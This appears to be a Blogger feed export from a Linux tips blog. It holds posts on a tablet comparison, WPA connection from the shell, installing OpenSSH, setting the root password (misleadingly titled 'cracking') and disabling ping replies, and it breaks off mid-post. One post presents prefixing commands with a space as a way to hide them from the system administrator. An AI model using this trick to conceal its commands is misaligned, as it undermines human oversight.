<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6631355475399605399</id><updated>2012-01-23T08:48:01.997-08:00</updated><category term='Tracing symbol links'/><title type='text'>Exploring Linux</title><subtitle type='html'>This Blog contains some hazardous information of Linux from RedHat Linux to Ubuntu</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>95</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-8041516604997494344</id><published>2012-01-23T08:47:00.000-08:00</published><updated>2012-01-23T08:48:02.012-08:00</updated><title type='text'>Transformer Prime TF700T Vs Galaxy Tab 7.7</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;td class="td_nofeed"&gt;&lt;u&gt;&lt;b style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;span class="header"&gt;Transformer Prime TF700T Vs Galaxy Tab 7.7 &lt;/span&gt;                                                                                                                                                                                                                                                                  &amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;                                                                                                                                &lt;/td&gt;                                  &lt;/tr&gt;&lt;tr&gt;                                    &lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;                                      &lt;tbody&gt;&lt;tr&gt;                                        &lt;td&gt;&lt;br /&gt;&lt;/td&gt;                                      &lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;                                        &lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;                                          &lt;tbody&gt;&lt;tr&gt;                                            &lt;td valign="top" width="95%"&gt;&lt;span style="font-family: verdana; font-size: x-small;"&gt;&lt;b&gt;                                            Both the companies are banking big on these devices. Here is a comparison between the two tablet devices set to lead the market in the coming months. &lt;/b&gt;&amp;nbsp;                                                                                                        &lt;/span&gt;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         &lt;/td&gt;                                            &lt;td valign="top" width="2%"&gt;&lt;br /&gt;&lt;/td&gt;                                            &lt;td valign="top" width="23%"&gt;&lt;br /&gt;&lt;/td&gt;                                          &lt;/tr&gt;&lt;tr&gt;                                                                                     &lt;td class="font_sml" colspan="3"&gt;&lt;div id="aj" style="cursor: hand; cursor: pointer;"&gt;&lt;div id="aj1" style="cursor: hand; cursor: pointer;"&gt;&lt;br /&gt;&lt;span class="text2"&gt;                                            &lt;/span&gt;&lt;/div&gt;&lt;span class="text2"&gt;                                   &lt;/span&gt;&lt;/div&gt;&lt;span class="text2"&gt;                                                                                                                                                                              &lt;/span&gt;&lt;/td&gt;                                                                                    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;                                      &lt;/tr&gt;&lt;tr&gt;                                        &lt;td&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;b&gt;&lt;span style="color: black; font-family: verdana; font-size: x-small;"&gt;Monday, January 23, 2012&lt;/span&gt;&lt;/b&gt;:&amp;nbsp;                                                                                                                                                              &lt;span style="color: black; font-family: verdana; font-size: x-small;"&gt;                                            ASUS Transformer Prime TF700T and Samsung Galaxy Tab 7.7 tablets fall in different categories but are being touted as the 'tablet devices of tomorrow'. &lt;br /&gt;&lt;br /&gt;ASUS Transformer Prime TF700T will hit the shelves in the coming months. The device will get the advantage of being the successor to the much popular Transformer Prime. It is also being expected that the upcoming version will do away with the shortcomings of Transformer Prime. Being the next generation Ice Cream Sandwich tablet, it is being seen as a technical development from the company's end. The device is likely to be shipped in the second quarter of 2012. &lt;br /&gt;&lt;br /&gt;On the other hand, Samsung's device is by far the slimmest tablet device from the electronics maker and is no less in terms of its specs and popularity. Apart from the sleek body, it comes with the legacy of Galaxy Tab line, which in itself is an advantage for the tablet. This offing from Samsung has got some rave reviews from the industry experts. A review of the device done by &lt;a href="http://www.gsmarena.com/samsung_galaxy_tab_7_7-review-638.php"&gt;GSM Arena&lt;/a&gt; says, “Not only are we getting a Super AMOLED Plus instead of a regular LCD, we are also treated to a larger screen and higher resolution in a body that hasn’t growtn noticeably. Plus, there’s the latest version of the tablet-friendly Android on board, instead of Gingerbread and the oversized-phone experience that it provides.”&lt;/span&gt;&lt;/td&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;                                              &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style="color: black; font-family: verdana; font-size: x-small;"&gt;Both the companies are banking big on these devices. Here is a comparison between the two tablet devices, that are set to lead the market in the coming months. &lt;/span&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="color: black; font-family: verdana; font-size: x-small;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Display:&lt;/b&gt; The display of Samsung's new offing, Galaxy Tab 7.7 is its most attractive feature. The 19.6-cm (7.7-inch) device sports a SUPER AMOLED Plus display with 1280 x 800 WXGA pixel resolution at 197 ppi. Samsung likes to call it as the 'premium display' which delivers brilliant colours, better contrast ratio, sharpness and response time that makes viewing clearer and sharper. On the other Transformer Prime TF700T sports a 25.7-cm (10.1-inch) high-definition Super IPS + LCD capacitive display along with Corning’s Gorilla glass and a resolution of 1920 × 1200 pixels. Experts of &lt;a href="http://nvonews.com/2012/01/19/asus-transformer-prime-tf700t-vs-samsung-galaxy-tab-7-7-comparison/"&gt;NVONews&lt;/a&gt; opine that this is a better display than any other tablet launched so far in any category. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Processor:&lt;/b&gt; Samsung's Galaxy Tab 7.7 is powered by 1.4GHz dual-core processor. The users of this tablet can watch videos, surf the Web and also click images without any fuss because of its better performing processor. ASUS tablet sports Nvidia Tegra 3 quad-core 1.3 GHz Cortex-A9 CPU, ULP GeForce GPU, which is by far the best launched so far.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Memory:&lt;/b&gt; The internal memory of both the tablets is identical. They both come with 1GB RAM. Samsung's tablet comes with three on-device storage options; 16GB, 32GB and 64GB. It also features a microSD slot that can support an additional 32GB memory. On the other hand, ASUS tablet comes with storage options of 32/64 GB storage capacity with a microSD card slot, which can provide extra support of up to 32GB.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Operating system:&lt;/b&gt; Samsung Galaxy Tab 7.7 runs on Android 3.2 Honeycomb. It is worth mentioning here that Honeycomb is the tablet version of the operating system from Google. The company has promised an upgrade to the Ice Cream Sandwich within a few weeks time. ASUS Transformer Prime TF700T comes with the latest Android 4.0 and the latest Waveshare UI.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Camera:&lt;/b&gt; Experts are of the view that ASUS tablet sports the best camera so far in any tablet. It comes with an 8MP camera, which makes it a pioneer among other options in the market. While, Samsung's Galaxy Tab 7.7 comes with a 3MP back camera with Full HD 720p video recording capability, auto-focus and LED flash. It also has a 2MP front camera for video calls in the front panel of the device.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Battery:&lt;/b&gt; Samsung Galaxy Tab 7.7 offers a 5,100mAh battery, which is capable of around 10 hours video playback and 50 hours music playback. While, Transformer Prime TF700T is powered by a 25 Wh Li-polymer battery, which gives around 15 hours of back up.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-8041516604997494344?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/8041516604997494344/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2012/01/transformer-prime-tf700t-vs-galaxy-tab.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/8041516604997494344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/8041516604997494344'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2012/01/transformer-prime-tf700t-vs-galaxy-tab.html' title='Transformer Prime TF700T Vs Galaxy Tab 7.7'/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-972502391401977163</id><published>2011-09-21T08:23:00.000-07:00</published><updated>2011-09-21T08:23:48.759-07:00</updated><title type='text'></title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;i&gt;&lt;u&gt;&lt;b&gt;Hide your commands from the terminal's history&lt;/b&gt;&lt;/u&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;If you dont want your system admin to know what commands you have ran in terminal using history command just execute the command preceded with 'blank space' :&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;$ ping www.google.com&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Note: There is space b/w the '$' and 'ping'.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Now check the history command you will find no entries of the ping command.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-972502391401977163?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/972502391401977163/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2011/09/hide-your-commands-from-terminals.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/972502391401977163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/972502391401977163'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2011/09/hide-your-commands-from-terminals.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-2128003440975796473</id><published>2011-09-21T08:12:00.000-07:00</published><updated>2011-09-21T08:12:52.105-07:00</updated><title type='text'></title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="color: red;"&gt;&lt;u&gt;&lt;b&gt;&lt;i&gt;&lt;span style="font-size: x-large;"&gt;Cracking Ubuntu ROOT user's Password&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;This is really gonna in a simple way. There are two methods how we can crack the password from the user.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;First, of all you have to know this thing that the user u create in Ubuntu, it got super user priveleges to change the password of the root user. So u can just simply try to get in the terminal and type the following command:&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;# sudo passwd root&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;after that it will prompt for the password, then type the password and the password is changed. U can now login as a root user.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Second, just click on the Ubuntu system menu on the panel, there u will find the options to get options to add the root terminal. after that u can check it on the Ubuntu menu options and Ur directly on the root user . &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-2128003440975796473?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/2128003440975796473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2011/09/cracking-ubuntu-root-users-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2128003440975796473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/2128003440975796473'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2011/09/cracking-ubuntu-root-users-password.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-7885051751742024035</id><published>2011-09-19T12:15:00.000-07:00</published><updated>2011-09-19T12:29:57.831-07:00</updated><title type='text'></title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ins style="border: none; display: inline-table; height: 90px; margin: 0; padding: 0; position: relative; visibility: visible; width: 728px;"&gt;&lt;/ins&gt;&lt;span style="color: red; font-size: large;"&gt;&lt;i&gt;&lt;b&gt;WPA Wireless Networks from Shell&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="meta"&gt;&lt;/div&gt;&lt;div class="meta"&gt;Connecting to WPA networks isn’t the hassle it used to be, it is  often very handy to be able to connect without the use of Network  Manager. Today I’ll share with you a quick way to get connected to a WPA  encrypted network from the shell.&amp;nbsp;&lt;/div&gt;&lt;div class="meta"&gt;&lt;/div&gt;&lt;span id="more-1747"&gt;&lt;/span&gt;Firstly, make sure you have wpa  supplicant installed, it should be on most default installations.  Chances are, its already installed if you can or have been able to  connect with network manager.&lt;br /&gt;&lt;br /&gt;Once you’ve verified it is installed try this one liner (as root):&lt;br /&gt;&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;b&gt;wpa_passphrase &lt;ssid&gt; &lt;key&gt; &amp;gt; /etc/wpa_supplicant.conf &amp;amp;&amp;amp; `wpa_supplicant | tail -n 1`;&lt;/key&gt;&lt;/ssid&gt;&lt;/b&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="padding-left: 30px;"&gt;&lt;br /&gt;&lt;/div&gt;Press Ctrl + Z, then type bg to put it in the background, then you are able to get a DHCP lease with dhclient&lt;br /&gt;&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;b&gt;dhclient wlan0&lt;/b&gt;&lt;/div&gt;&lt;div style="padding-left: 30px;"&gt;&lt;br /&gt;&lt;/div&gt;What this does is generates the passphrase for your access point and  writes it to the file /etc/wpa_supplicant. Once it is written, it then  fires up the last line of wpa_supplicant (tail -n 1) which is the  example:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;wpa_supplicant -Dwext -iwlan0 -c/etc/wpa_supplicant.conf.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Of course, you can run this manually if you wish or run with the -B option to skip the manual backgrounding.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-7885051751742024035?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/7885051751742024035/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2011/09/wpa-wireless-networks-from-shell.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7885051751742024035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/7885051751742024035'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2011/09/wpa-wireless-networks-from-shell.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-3385700791752182544</id><published>2011-02-02T21:35:00.000-08:00</published><updated>2011-09-19T12:30:27.858-07:00</updated><title type='text'></title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;h3 style="color: red;"&gt;&lt;span style="font-size: x-large;"&gt;Installing SSH server in Ubuntu&lt;/span&gt;&lt;/h3&gt;By default, your system will have no SSH service enabled, which means  you won't be able to connect to it remotely using SSH protocol (TCP  port 22). This means that installing SSH server will be one of the first  post-install steps on your system.&lt;br /&gt;The most common SSH implementation is &lt;a href="http://www.openssh.org/"&gt;&lt;b&gt;OpenSSH&lt;/b&gt;&lt;/a&gt; server, and that's exactly what you want to install.&lt;br /&gt;&lt;span id="more-566"&gt;&lt;/span&gt;Log in with your standard username and  password, and run the following command to install openssh-server. You  should be using the same username that you specified when installing  Ubuntu, as it will be the only account with sudo privileges to run  commands as root:&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;pre&gt;ubuntu$ &lt;b&gt;sudo apt-get install openssh-server&lt;/b&gt;[sudo] password for greys:&lt;br /&gt;Reading package lists... Done&lt;br /&gt;Building dependency tree&lt;br /&gt;Reading state information... Done&lt;br /&gt;Suggested packages:&lt;br /&gt;&amp;nbsp; rssh molly-guard openssh-blacklist openssh-blacklist-extra&lt;br /&gt;The following NEW packages will be installed:&lt;br /&gt;&amp;nbsp; openssh-server&lt;br /&gt;0 upgraded, 1 newly installed, 0 to remove and 75 not upgraded.&lt;br /&gt;Need to get 285kB of archives.&lt;br /&gt;After this operation, 782kB of additional disk space will be used.&lt;br /&gt;Get:1 http://ie.archive.ubuntu.com jaunty/main openssh-server 1:5.1p1-5ubuntu1 [&lt;br /&gt;285kB]&lt;br /&gt;Fetched 285kB in 0s (345kB/s)&lt;br /&gt;Preconfiguring packages ...&lt;br /&gt;Selecting previously deselected package openssh-server.&lt;br /&gt;(Reading database ... 101998 files and directories currently installed.)&lt;br /&gt;Unpacking openssh-server (from .../openssh-server_1%3a5.1p1-5ubuntu1_i386.deb) .&lt;br /&gt;..&lt;br /&gt;Processing triggers for ufw ...&lt;br /&gt;Processing triggers for man-db ...&lt;br /&gt;Setting up openssh-server (1:5.1p1-5ubuntu1) ...&lt;br /&gt;Creating SSH2 RSA key; this may take some time ...&lt;br /&gt;Creating SSH2 DSA key; this may take some time ...&lt;br /&gt;&amp;nbsp;* Restarting OpenBSD Secure Shell server sshd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [ OK ]&lt;a name='more'&gt;&lt;/a&gt;&lt;/pre&gt;&lt;h3&gt;Verifying your SSH server works&lt;/h3&gt;While you're still on your local desktop session, you can use the ps command to confirm that SSH daemon (&lt;b&gt;sshd&lt;/b&gt;) is running:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;ubuntu$ &lt;b&gt;ps -aef | grep sshd&lt;/b&gt;root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 24114&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&amp;nbsp; 0 15:18 ?&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 00:00:00 /usr/sbin/sshd&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;Now that you see it's there, it's time to try connecting:&lt;br /&gt;&lt;pre&gt;ubuntu$ &lt;b&gt;ssh localhost&lt;/b&gt;&lt;/pre&gt;&lt;pre&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;Since this is the first time you're trying to connect using SSH, you'll have to answer yes to the following question:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;The authenticity of host 'localhost (::1)' can't be established.&lt;br /&gt;RSA key fingerprint is 18:4d:96:b3:0d:25:00:c8:a1:a3:84:5c:9f:1c:0d:a5.&lt;br /&gt;Are you sure you want to continue connecting (yes/no)? yes&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;… you'll then be prompted for your own password (remember, the system  treats such connection request as if you were connecting remotely, so  it can't trust you without confirming your password):&lt;br /&gt;&amp;nbsp;Warning: Permanently added 'localhost' (RSA) to the list of known hosts.&lt;br /&gt;&lt;pre&gt;greys@localhost's password:&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;.. and finally you'll see the usual Ubuntu (Jaunty in this example) banner and prompt:&lt;br /&gt;&lt;pre&gt;Linux ubuntu 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686&lt;br /&gt;&lt;br /&gt;The programs included with the Ubuntu system are free software;&lt;br /&gt;the exact distribution terms for each program are described in the&lt;br /&gt;individual files in /usr/share/doc/*/copyright.&lt;br /&gt;&lt;br /&gt;Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by&lt;br /&gt;applicable law.&lt;br /&gt;&lt;br /&gt;To access official Ubuntu documentation, please visit:&lt;br /&gt;&lt;br /&gt;http://help.ubuntu.com/&lt;br /&gt;&lt;br /&gt;Last login: Fri May 15 15:18:34 2009 from ubuntu&lt;br /&gt;ubuntu$&lt;/pre&gt;That's it, providing you have your networking configured and you know  your IP address or hostname, you can start connecting to your Ubuntu  box from remote systems, using the same command.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-3385700791752182544?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/3385700791752182544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2011/02/installing-ssh-server-in-ubuntu-by.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3385700791752182544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/3385700791752182544'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2011/02/installing-ssh-server-in-ubuntu-by.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-5346969927723644096</id><published>2010-10-18T11:31:00.000-07:00</published><updated>2010-10-18T11:34:37.686-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;STOP YOUR COMPUTER FROM ANSWERING TO PING&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Here is is a simple step designed toprevent your computer from responding to ping.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/icmp_echo_ignore_all&lt;a name='more'&gt;&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;After running this, you will not receive a reply if pinged from other computers. To reset the settings and turn the default settings on, simply type the following command:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;echo 0 &amp;gt; /proc/sys/net/ipv4/icmp_echo_ignore_all&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-5346969927723644096?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/5346969927723644096/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/10/stop-your-computrer-from-answering-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5346969927723644096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/5346969927723644096'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/10/stop-your-computrer-from-answering-to.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-577962905807766604</id><published>2010-10-12T14:10:00.000-07:00</published><updated>2010-10-12T14:10:51.476-07:00</updated><title type='text'></title><content type='html'>&lt;div style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;INSTALLING FLASH PLUG-IN&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The Flash plugin is simple. All you need to do is &lt;a 